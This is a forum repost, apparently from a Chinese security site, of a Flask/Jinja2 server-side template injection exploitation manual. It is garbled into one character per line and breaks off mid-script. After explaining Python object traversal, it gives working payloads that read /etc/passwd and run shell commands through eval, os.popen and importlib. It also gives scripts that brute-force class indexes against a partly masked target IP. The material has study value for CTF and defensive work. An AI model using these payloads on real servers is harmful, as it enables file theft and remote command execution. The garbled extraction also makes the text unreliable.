论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[18575] 2021-06-14_Python安全Flask-jinja2SSTI利用手册
文档创建者:
s7ckTeam
浏览次数:
3
最后更新:
2025-01-18
IOT
3 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-06-14_Python安全Flask-jinja2SSTI利用手册
P
y
t
h
o
n
安
全
|
F
l
a
s
k
-
j
i
n
j
a
2
S
S
T
I
利
用
手
册
原
创
W
H
O
A
M
I
H
A
C
K
学
习
呀
2
0
2
1
-
0
6
-
1
4
F
l
a
s
k
-
j
i
n
j
a
2
S
S
T
I
一
般
利
用
姿
势
一
般
利
用
姿
势
S
S
T
I
中
常
用
的
魔
术
方
法
中
常
用
的
魔
术
方
法
很
多
刚
开
始
学
习
S
S
T
I
的
新
手
可
能
看
到
上
面
的
利
用
方
法
就
蒙
圈
了
,
不
太
懂
为
什
么
要
这
么
做
,
下
面
来
讲
一
下
关
于
P
y
t
h
o
n
中
类
的
知
识
。
面
向
对
象
语
言
的
方
法
来
自
于
类
,
对
于
p
y
t
h
o
n
,
有
很
多
好
用
的
函
数
库
,
我
们
经
常
会
再
写
P
y
t
h
o
n
中
用
到
i
m
p
o
r
t
来
引
入
许
多
的
类
和
方
法
,
p
y
t
h
o
n
的
s
t
r
(
字
符
串
)
、
d
i
c
t
(
字
典
)
、
t
u
p
l
e
(
元
组
)
、
l
i
s
t
(
列
表
)
这
些
在
P
y
t
h
o
n
类
结
构
的
基
类
都
是
o
b
j
e
c
t
,
而
o
b
j
e
c
t
拥
有
众
多
的
子
类
。
:
用
来
查
看
变
量
所
属
的
类
,
根
据
前
面
的
变
量
形
式
可
以
得
到
其
所
属
的
类
。
是
类
的
一
个
内
置
属
性
,
表
示
类
的
类
型
,
返
回
;
也
是
类
的
实
例
的
属
性
,
表
示
实
例
对
象
的
类
。
_
_
c
l
a
s
s
_
_
_
_
c
l
a
s
s
_
_
<
t
y
p
e
'
t
y
p
e
'
>
>
>
>
'
'
.
_
_
c
l
a
s
s
_
_
<
t
y
p
e
'
s
t
r
'
>
>
>
>
(
)
.
_
_
c
l
a
s
s
_
_
<
t
y
p
e
'
t
u
p
l
e
'
>
>
>
>
[
]
.
_
_
c
l
a
s
s
_
_
<
t
y
p
e
'
l
i
s
t
'
>
>
>
>
{
}
.
_
_
c
l
a
s
s
_
_
<
t
y
p
e
'
d
i
c
t
'
>
:
用
来
查
看
类
的
基
类
,
也
可
以
使
用
数
组
索
引
来
查
看
特
定
位
置
的
值
。
通
过
该
属
性
可
以
查
看
该
类
的
所
有
直
接
父
类
,
该
属
性
返
回
所
有
直
接
父
类
组
成
的
元
组
元
组
(
虽
然
只
有
一
个
元
素
)
。
注
意
是
直
接
父
类
!
!
!
获
取
基
类
还
能
用
方
法
,
方
法
可
以
用
来
获
取
一
个
类
的
调
用
顺
序
,
比
如
:
除
此
之
外
,
我
们
还
可
以
利
用
方
法
获
取
直
接
基
类
:
有
这
些
类
继
承
的
方
法
,
我
们
就
可
以
从
任
何
一
个
变
量
,
回
溯
到
最
顶
层
基
类
(
)
中
去
,
再
获
得
到
此
基
类
所
有
实
现
的
类
,
就
可
以
获
得
到
很
多
的
类
和
方
法
了
。
:
查
看
当
前
类
的
子
类
组
成
的
列
表
,
即
返
回
基
类
o
b
j
e
c
t
的
子
类
。
查
阅
起
来
有
些
困
难
,
来
列
举
一
下
:
_
_
b
a
s
e
s
_
_
>
>
>
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
(
<
t
y
p
e
'
o
b
j
e
c
t
'
>
,
)
>
>
>
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
(
<
t
y
p
e
'
b
a
s
e
s
t
r
i
n
g
'
>
,
)
>
>
>
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
(
<
t
y
p
e
'
o
b
j
e
c
t
'
>
,
)
>
>
>
{
}
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
(
<
t
y
p
e
'
o
b
j
e
c
t
'
>
,
)
>
>
>
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
b
a
s
e
s
_
_
[
0
]
/
/
p
y
t
h
o
n
2
下
雨
p
y
t
h
o
n
3
下
不
同
<
t
y
p
e
'
o
b
j
e
c
t
'
>
>
>
>
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
<
t
y
p
e
'
o
b
j
e
c
t
'
>
_
_
m
r
o
_
_
_
_
m
r
o
_
_
>
>
>
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
/
/
p
y
t
h
o
n
2
下
和
p
y
t
h
o
n
3
下
不
同
(
<
c
l
a
s
s
'
s
t
r
'
>
,
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
)
>
>
>
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
(
<
c
l
a
s
s
'
l
i
s
t
'
>
,
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
)
>
>
>
{
}
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
(
<
c
l
a
s
s
'
d
i
c
t
'
>
,
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
)
>
>
>
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
(
<
c
l
a
s
s
'
t
u
p
l
e
'
>
,
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
)
>
>
>
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
[
1
]
/
/
返
回
的
是
一
个
类
元
组
,
使
用
索
引
就
能
获
取
基
类
了
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
_
_
b
a
s
e
_
_
>
>
>
"
"
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
_
_
<
t
y
p
e
'
b
a
s
e
s
t
r
i
n
g
'
>
<
c
l
a
s
s
'
o
b
j
e
c
t
'
>
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
>
>
>
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
<
t
y
p
e
'
t
y
p
e
'
>
,
<
t
y
p
e
'
w
e
a
k
r
e
f
'
>
,
<
t
y
p
e
'
w
e
a
k
c
a
l
l
a
b
l
e
p
r
o
x
y
'
>
,
<
t
y
p
e
'
w
e
a
k
p
r
o
x
y
'
>
,
<
t
y
p
e
'
i
n
t
'
>
,
<
t
y
p
e
'
b
a
s
e
s
t
r
i
n
g
'
注
意
:
注
意
:
这
里
要
记
住
一
点
2
.
7
和
3
.
6
版
本
返
回
的
子
类
不
是
一
样
的
,
但
是
2
.
7
有
的
3
.
6
大
部
分
都
有
。
当
然
我
们
也
可
以
直
接
用
,
会
得
到
和
上
面
一
样
的
结
果
。
S
S
T
I
的
主
要
目
的
就
是
从
这
么
多
的
子
类
中
找
出
可
以
利
用
的
类
(
一
般
是
指
读
写
文
件
或
执
行
命
令
的
类
)
加
以
利
用
。
:
以
一
个
集
合
的
形
式
查
看
其
引
用
内
建
函
数
内
建
函
数
当
我
们
启
动
一
个
p
y
t
h
o
n
解
释
器
时
,
即
时
没
有
创
建
任
何
变
量
或
者
函
数
,
还
是
会
有
很
多
函
数
可
以
使
用
,
我
们
称
之
为
内
建
函
数
。
内
建
函
数
并
不
需
要
我
们
自
己
做
定
义
,
而
是
在
启
动
p
y
t
h
o
n
解
释
器
的
时
候
,
就
已
经
导
入
到
内
存
中
供
我
们
使
用
,
想
要
了
解
这
里
面
的
工
作
原
理
,
我
们
可
以
从
名
称
空
间
开
始
。
方
法
是
做
为
默
认
初
始
模
块
出
现
的
,
可
用
于
查
看
当
前
所
有
导
入
的
内
建
函
数
。
:
该
方
法
会
以
字
典
的
形
式
返
回
当
前
位
置
的
所
有
全
局
变
量
,
与
f
u
n
c
_
g
l
o
b
a
l
s
等
价
。
该
属
性
是
函
数
特
有
的
属
性
,
记
录
当
前
文
件
全
局
变
量
的
值
,
如
果
某
个
文
件
调
用
了
o
s
、
s
y
s
等
库
,
但
我
们
只
能
访
问
该
文
件
某
个
函
数
或
者
某
个
对
象
,
那
么
我
们
就
可
以
利
用
g
l
o
b
a
l
s
属
性
访
问
全
局
的
变
量
。
该
属
性
保
存
的
是
函
数
全
局
变
量
的
字
典
引
用
。
:
该
方
法
用
于
动
态
加
载
类
和
函
数
。
如
果
一
个
模
块
经
常
变
化
就
可
以
使
用
f
o
r
i
i
n
e
n
u
m
e
r
a
t
e
(
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
[
-
1
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
)
:
p
r
i
n
t
i
.
.
.
.
.
(
0
,
<
t
y
p
e
'
t
y
p
e
'
>
)
(
1
,
<
t
y
p
e
'
w
e
a
k
r
e
f
'
>
)
(
2
,
<
t
y
p
e
'
w
e
a
k
c
a
l
l
a
b
l
e
p
r
o
x
y
'
>
)
(
3
,
<
t
y
p
e
'
w
e
a
k
p
r
o
x
y
'
>
)
(
4
,
<
t
y
p
e
'
i
n
t
'
>
)
(
5
,
<
t
y
p
e
'
b
a
s
e
s
t
r
i
n
g
'
>
)
(
6
,
<
t
y
p
e
'
b
y
t
e
a
r
r
a
y
'
>
)
(
7
,
<
t
y
p
e
'
l
i
s
t
'
>
)
(
8
,
<
t
y
p
e
'
N
o
n
e
T
y
p
e
'
>
)
(
9
,
<
t
y
p
e
'
N
o
t
I
m
p
l
e
m
e
n
t
e
d
T
y
p
e
'
>
)
(
1
0
,
<
t
y
p
e
'
t
r
a
c
e
b
a
c
k
'
>
)
(
1
1
,
<
t
y
p
e
'
s
u
p
e
r
'
>
)
(
1
2
,
<
t
y
p
e
'
x
r
a
n
g
e
'
>
)
(
1
3
,
<
t
y
p
e
'
d
i
c
t
'
>
)
(
1
4
,
<
t
y
p
e
'
s
e
t
'
>
)
(
1
5
,
<
t
y
p
e
'
s
l
i
c
e
'
>
)
(
1
6
,
<
t
y
p
e
'
s
t
a
t
i
c
m
e
t
h
o
d
'
>
)
(
1
7
,
<
t
y
p
e
'
c
o
m
p
l
e
x
'
>
)
(
1
8
,
<
t
y
p
e
'
f
l
o
a
t
'
>
)
.
.
.
.
.
.
(
3
8
,
<
t
y
p
e
'
e
l
l
i
p
s
i
s
'
>
)
(
3
9
,
<
t
y
p
e
'
m
e
m
b
e
r
_
d
e
s
c
r
i
p
t
o
r
'
>
)
(
4
0
,
<
t
y
p
e
'
f
i
l
e
'
>
)
(
4
1
,
<
t
y
p
e
'
P
y
C
a
p
s
u
l
e
'
>
)
(
4
2
,
<
t
y
p
e
'
c
e
l
l
'
>
)
(
4
3
,
<
t
y
p
e
'
c
a
l
l
a
b
l
e
-
i
t
e
r
a
t
o
r
'
>
)
.
.
.
.
.
.
o
b
j
e
c
t
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
_
_
b
u
i
l
t
i
n
s
_
_
_
_
b
u
i
l
t
i
n
s
_
_
_
_
g
l
o
b
a
l
s
_
_
_
_
i
m
p
o
r
t
_
_
(
)
_
_
i
m
p
o
r
t
_
_
(
)
来
动
态
载
入
,
就
是
。
语
法
:
这
样
我
们
在
进
行
S
S
T
I
注
入
的
时
候
就
可
以
通
过
这
种
方
式
使
用
很
多
的
类
和
方
法
,
通
过
子
类
再
去
获
取
子
类
的
子
类
、
更
多
的
方
法
,
找
出
可
以
利
用
的
类
和
方
法
加
以
利
用
。
总
之
,
是
通
过
p
y
t
h
o
n
的
对
象
的
继
承
来
一
步
步
实
现
文
件
读
取
和
命
令
执
行
的
:
但
是
遇
上
一
个
S
S
T
I
的
题
,
该
如
何
下
手
?
大
体
上
有
以
下
几
种
思
路
,
简
单
介
绍
一
下
,
后
续
有
详
细
总
结
。
•
查
配
置
文
件
•
命
令
执
行
(
其
实
就
是
沙
盒
逃
逸
类
题
目
的
利
用
方
式
)
•
文
件
读
取
利
用
利
用
S
S
T
I
读
取
文
件
读
取
文
件
P
y
t
h
o
n
2
在
上
文
中
我
们
使
用
方
法
查
看
子
类
的
时
候
,
发
现
可
以
发
现
索
引
号
为
4
0
指
向
f
i
l
e
类
:
i
m
p
o
r
t
_
_
i
m
p
o
r
t
_
_
(
模
块
名
)
找
到
父
类
<
t
y
p
e
'
o
b
j
e
c
t
'
>
-
-
-
>
寻
找
子
类
-
-
-
>
找
关
于
命
令
执
行
或
者
文
件
操
作
的
模
块
。
_
_
s
u
b
c
l
a
s
s
e
s
_
_
f
o
r
i
i
n
e
n
u
m
e
r
a
t
e
(
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
m
r
o
_
_
[
-
1
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
)
:
p
r
i
n
t
i
.
.
.
.
.
(
0
,
<
t
y
p
e
'
t
y
p
e
'
>
)
(
1
,
<
t
y
p
e
'
w
e
a
k
r
e
f
'
>
)
(
2
,
<
t
y
p
e
'
w
e
a
k
c
a
l
l
a
b
l
e
p
r
o
x
y
'
>
)
(
3
,
<
t
y
p
e
'
w
e
a
k
p
r
o
x
y
'
>
)
(
4
,
<
t
y
p
e
'
i
n
t
'
>
)
(
5
,
<
t
y
p
e
'
b
a
s
e
s
t
r
i
n
g
'
>
)
(
6
,
<
t
y
p
e
'
b
y
t
e
a
r
r
a
y
'
>
)
(
7
,
<
t
y
p
e
'
l
i
s
t
'
>
)
(
8
,
<
t
y
p
e
'
N
o
n
e
T
y
p
e
'
>
)
(
9
,
<
t
y
p
e
'
N
o
t
I
m
p
l
e
m
e
n
t
e
d
T
y
p
e
'
>
)
(
1
0
,
<
t
y
p
e
'
t
r
a
c
e
b
a
c
k
'
>
)
(
1
1
,
<
t
y
p
e
'
s
u
p
e
r
'
>
)
(
1
2
,
<
t
y
p
e
'
x
r
a
n
g
e
'
>
)
(
1
3
,
<
t
y
p
e
'
d
i
c
t
'
>
)
(
1
4
,
<
t
y
p
e
'
s
e
t
'
>
)
(
1
5
,
<
t
y
p
e
'
s
l
i
c
e
'
>
)
(
1
6
,
<
t
y
p
e
'
s
t
a
t
i
c
m
e
t
h
o
d
'
>
)
(
1
7
,
<
t
y
p
e
'
c
o
m
p
l
e
x
'
>
)
(
1
8
,
<
t
y
p
e
'
f
l
o
a
t
'
>
)
.
.
.
.
.
.
(
3
8
,
<
t
y
p
e
'
e
l
l
i
p
s
i
s
'
>
)
(
3
9
,
<
t
y
p
e
'
m
e
m
b
e
r
_
d
e
s
c
r
i
p
t
o
r
'
>
)
(
4
0
,
<
t
y
p
e
'
f
i
l
e
'
>
)
(
4
1
,
<
t
y
p
e
'
P
y
C
a
p
s
u
l
e
'
>
)
(
4
2
,
<
t
y
p
e
'
c
e
l
l
'
>
)
(
4
3
,
<
t
y
p
e
'
c
a
l
l
a
b
l
e
-
i
t
e
r
a
t
o
r
'
>
)
.
.
.
.
.
.
此
f
i
l
e
类
可
以
直
接
用
来
读
取
文
件
:
P
y
t
h
o
n
3
使
用
f
i
l
e
类
读
取
文
件
的
方
法
仅
限
于
P
y
t
h
o
n
2
环
境
,
在
P
y
t
h
o
n
3
环
境
中
f
i
l
e
类
已
经
没
有
了
。
我
们
可
以
用
这
个
类
去
读
取
文
件
。
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
这
个
类
索
引
号
:
所
以
p
a
y
l
o
a
d
如
下
:
{
{
[
]
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
_
_
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
4
0
]
(
'
/
e
t
c
/
p
a
s
s
w
d
'
)
.
r
e
a
d
(
)
}
}
<
c
l
a
s
s
'
_
f
r
o
z
e
n
_
i
m
p
o
r
t
l
i
b
_
e
x
t
e
r
n
a
l
.
F
i
l
e
L
o
a
d
e
r
'
>
<
c
l
a
s
s
'
_
f
r
o
z
e
n
_
i
m
p
o
r
t
l
i
b
_
e
x
t
e
r
n
a
l
.
F
i
l
e
L
o
a
d
e
r
'
>
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
F
i
l
e
L
o
a
d
e
r
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
得
到
编
号
为
7
9
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
7
9
]
[
"
g
e
t
_
d
a
t
a
"
]
(
0
,
"
/
e
t
c
/
p
a
s
s
w
d
"
)
}
}
利
用
利
用
S
S
T
I
执
行
命
令
执
行
命
令
可
以
用
来
执
行
命
令
的
类
有
很
多
,
其
基
本
原
理
就
是
遍
历
含
有
e
v
a
l
函
数
即
o
s
模
块
的
子
类
,
利
用
这
些
子
类
中
的
e
v
a
l
函
数
即
o
s
模
块
执
行
命
令
。
这
里
我
们
简
单
挑
几
个
常
用
的
讲
解
。
寻
找
内
建
函
数
寻
找
内
建
函
数
e
v
a
l
执
行
命
令
执
行
命
令
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
含
有
内
建
函
数
e
v
a
l
的
子
类
的
索
引
号
:
我
们
可
以
记
下
几
个
含
有
e
v
a
l
函
数
的
类
:
•
w
a
r
n
i
n
g
s
.
c
a
t
c
h
_
w
a
r
n
i
n
g
s
•
W
a
r
n
i
n
g
M
e
s
s
a
g
e
•
c
o
d
e
c
s
.
I
n
c
r
e
m
e
n
t
a
l
E
n
c
o
d
e
r
•
c
o
d
e
c
s
.
I
n
c
r
e
m
e
n
t
a
l
D
e
c
o
d
e
r
•
c
o
d
e
c
s
.
S
t
r
e
a
m
R
e
a
d
e
r
W
r
i
t
e
r
•
o
s
.
_
w
r
a
p
_
c
l
o
s
e
•
r
e
p
r
l
i
b
.
R
e
p
r
•
w
e
a
k
r
e
f
.
f
i
n
a
l
i
z
e
•
.
.
.
.
.
.
所
以
p
a
y
l
o
a
d
如
下
:
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
[
'
_
_
b
u
i
l
t
i
n
s
_
_
'
]
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
e
v
a
l
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
得
到
一
大
堆
子
类
的
索
引
:
6
4
6
5
6
6
6
7
6
8
7
9
8
0
8
1
8
3
9
1
9
2
9
3
9
4
9
5
9
6
1
1
7
.
.
.
{
{
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
1
6
6
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
[
'
_
_
b
u
i
l
t
i
n
s
_
_
'
]
[
'
e
v
a
l
'
]
(
'
_
_
i
m
p
o
r
t
_
_
(
"
o
s
"
)
.
p
o
p
e
n
(
"
l
s
/
"
)
.
r
e
a
d
(
)
'
i
m
a
g
e
-
2
0
2
1
0
3
0
8
0
9
5
6
1
0
4
1
7
我
们
可
以
看
到
,
使
用
e
v
a
l
函
数
执
行
命
令
也
是
调
用
的
o
s
模
块
,
那
我
们
直
接
调
用
o
s
模
块
不
是
更
简
单
?
寻
找
寻
找
o
s
模
块
执
行
命
令
模
块
执
行
命
令
P
y
t
h
o
n
的
o
s
模
块
中
有
s
y
s
t
e
m
和
p
o
p
e
n
这
两
个
函
数
可
用
来
执
行
命
令
。
其
中
s
y
s
t
e
m
(
)
函
数
执
行
命
令
是
没
有
回
显
的
,
我
们
可
以
使
用
s
y
s
t
e
m
(
)
函
数
配
合
c
u
r
l
外
带
数
据
;
p
o
p
e
n
(
)
函
数
执
行
命
令
有
回
显
。
所
以
比
较
常
用
的
函
数
为
p
o
p
e
n
(
)
函
数
,
而
当
p
o
p
e
n
(
)
函
数
被
过
滤
掉
时
,
可
以
使
用
s
y
s
t
e
m
(
)
函
数
代
替
。
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
含
有
o
s
模
块
的
类
的
索
引
号
:
随
便
挑
一
个
类
构
造
p
a
y
l
o
a
d
执
行
命
令
即
可
:
但
是
该
方
法
遍
历
得
到
的
类
不
准
确
,
因
为
一
些
不
相
关
的
类
名
中
也
存
在
字
符
串
“
o
s
”
,
所
以
我
们
还
要
探
索
更
有
效
的
方
法
。
我
们
可
以
看
到
,
即
使
是
使
用
o
s
模
块
执
行
命
令
,
其
也
是
调
用
的
o
s
模
块
中
的
p
o
p
e
n
函
数
,
那
我
们
也
可
以
直
接
调
用
p
o
p
e
n
函
数
,
存
在
p
o
p
e
n
函
数
的
类
一
般
是
,
但
也
不
绝
对
。
由
于
目
标
P
y
t
h
o
n
环
境
的
不
同
,
我
们
还
需
要
遍
历
一
下
。
寻
找
寻
找
p
o
p
e
n
函
数
执
行
命
令
函
数
执
行
命
令
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
含
有
p
o
p
e
n
函
数
的
类
的
索
引
号
:
直
接
构
造
p
a
y
l
o
a
d
即
可
:
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
o
s
.
p
y
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
可
以
得
到
一
大
堆
类
6
4
6
5
6
6
6
7
6
8
7
9
8
0
8
1
8
3
1
1
7
1
4
7
1
5
4
1
6
1
1
6
2
1
6
3
1
6
4
.
.
.
{
{
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
7
9
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
[
'
o
s
'
]
.
p
o
p
e
n
(
'
l
s
/
'
)
.
r
e
a
d
(
)
}
}
o
s
.
_
w
r
a
p
_
c
l
o
s
e
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
"
+
s
t
r
(
i
)
+
"
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
}
}
"
r
e
s
=
r
e
q
u
e
s
t
s
.
g
e
t
(
u
r
l
=
u
r
l
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
)
i
f
'
p
o
p
e
n
'
i
n
r
e
s
.
t
e
x
t
:
p
r
i
n
t
(
i
)
#
得
到
编
号
为
1
1
7
i
m
a
g
e
-
2
0
2
1
0
3
0
8
1
0
5
1
2
6
7
6
8
这
样
得
到
的
索
引
还
是
很
准
确
的
。
除
了
这
种
方
法
外
,
我
们
还
可
以
直
接
导
入
o
s
模
块
,
p
y
t
h
o
n
有
一
个
i
m
p
o
r
t
l
i
b
类
,
可
用
l
o
a
d
_
m
o
d
u
l
e
来
导
入
你
需
要
的
模
块
。
寻
找
寻
找
i
m
p
o
r
t
l
i
b
类
执
行
命
令
类
执
行
命
令
P
y
t
h
o
n
中
存
在
类
,
目
的
就
是
提
供
P
y
t
h
o
n
中
i
m
p
o
r
t
语
句
的
实
现
(
以
及
函
数
)
。
我
么
可
以
直
接
利
用
该
类
中
的
l
o
a
d
_
m
o
d
u
l
e
将
o
s
模
块
导
入
,
从
而
使
用
o
s
模
块
执
行
命
令
。
首
先
编
写
脚
本
遍
历
目
标
P
y
t
h
o
n
环
境
中
i
m
p
o
r
t
l
i
b
类
的
索
引
号
:
构
造
如
下
p
a
y
l
o
a
d
即
可
执
行
命
令
:
{
{
'
'
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
_
_
s
u
b
c
l
a
s
s
e
s
_
_
(
)
[
1
1
7
]
.
_
_
i
n
i
t
_
_
.
_
_
g
l
o
b
a
l
s
_
_
[
'
p
o
p
e
n
'
]
(
'
l
s
/
'
)
.
r
e
a
d
(
)
}
}
<
c
l
a
s
s
'
_
f
r
o
z
e
n
_
i
m
p
o
r
t
l
i
b
.
B
u
i
l
t
i
n
I
m
p
o
r
t
e
r
'
>
_
_
i
m
p
o
r
t
_
_
i
m
p
o
r
t
r
e
q
u
e
s
t
s
h
e
a
d
e
r
s
=
{
'
U
s
e
r
-
A
g
e
n
t
'
:
'
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
7
0
.
0
.
3
5
3
8
.
1
1
0
S
a
f
a
r
i
/
5
3
7
.
3
6
'
}
f
o
r
i
i
n
r
a
n
g
e
(
5
0
0
)
:
u
r
l
=
"
h
t
t
p
:
/
/
4
7
.
x
x
x
.
x
x
x
.
7
2
:
8
0
0
0
/
?
n
a
m
e
=
{
{
(
)
.
_
_
c
l
a
s
s
_
_
.
_
_
b
a
s
e
s
_
_
[
0
]
.
